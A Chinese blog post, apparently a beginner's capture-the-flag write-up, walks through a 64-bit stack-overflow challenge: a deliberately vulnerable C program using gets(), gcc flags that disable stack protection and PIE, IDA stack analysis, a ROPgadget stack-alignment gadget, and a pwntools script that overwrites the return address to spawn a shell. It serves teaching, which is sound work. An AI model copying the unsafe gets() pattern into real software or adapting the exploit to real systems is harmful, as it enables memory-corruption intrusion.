第一道pwn栈溢出题

文章介绍了如何通过代码审计发现栈溢出漏洞,使用gcc编译器特定参数关闭保护机制,然后在IDA中分析栈结构。接着,作者展示了如何寻找返回地址,处理64位程序的栈对齐问题,并编写ROP攻击脚本来执行shell。文章还提到了相关工具如ROPgadget的使用和安装。
摘要由CSDN通过智能技术生成

代码和解题思路来自启明星辰的《ctf安全竞赛入门》,当然还有好多热心的师傅们的指导。

1.代码:

#include "stdio.h"
void shell()
{
    system("/bin/sh");
}
void vuln()
{
    printf("Please input your name:\n");
    char s[8];
    gets(s);
    printf("%s\n",s);
}
void main()
{
    printf("**Welcome to the simple pwn1**venus\n");
    vuln();
}

2.在虚拟机中使用gcc编译

****需要加参数

gcc  -fno-stack-protector  -z execstack  pwn1.c  -o pwn1 -no-pie

这里的pwn1.c是刚才代码的文件名字,pwn1是目标文件名字。

最后是用来关闭no-pie

编译过程中可能会有警告,不用管。

3.查看栈结构

然后放到ida里边。

找到vlun函数,可以在左侧点击。

发现s数组距离返回地址是8h然后就是ebp

在64位程序中,ebp是8个字节,32位是4个字节哈。

这样的话就可以写脚本了。

4.shell地址

因为咱们想获取中端嘛。就是shell的地址。

在ida查看:

5.栈对齐ret

因为64位程序要求栈对齐所以需要ret

ret是这样看的:

前提是要安装ROPgadget哈

6.写攻击脚本

from pwn import *  #导入pwntools包
p1=process('./pwn2')  #执行的文件
payload=b"a"*(0x10)+p64(0x401016)+p64(0x401146)    #第一个是垃圾数据,就是填充本来应该输入的数据(8个字节),然后覆盖掉ebp(8个字节),再然后写下ret指令,最后写入shell地址
p1.sendline(payload)
p1.interactive()

b“a”:

将a转换成二进制,要不然的话和后边的类型不同不能拼接。

p64():

因为用的是64位,所以是p64

如果是32位就是p32

将整数转换成二进制

第二个数据是ret,好像是64位的文件就要进行栈对齐。

最后一个是返回地址,写的是shell就会执行shell

关于ROPgadget的下在和简单使用参考这篇文章:

(2条消息) (Pwn)CTF工具 ROPgadget 的安装与使用介绍_ropgadget命令_半岛铁盒@的博客-CSDN博客

如果下载不了可以用github下就是第一个 python-capstone,其实在安装pwntools的时候有装过的,只是没有带python,然后就是如果软件下载不了就需要换下源,然后更新下。

实在不行,就在主机上通过github下载,然后解压,在粘贴到虚拟机里。

关于ret栈对齐的知识参考这篇文章

关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

y6y6y666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值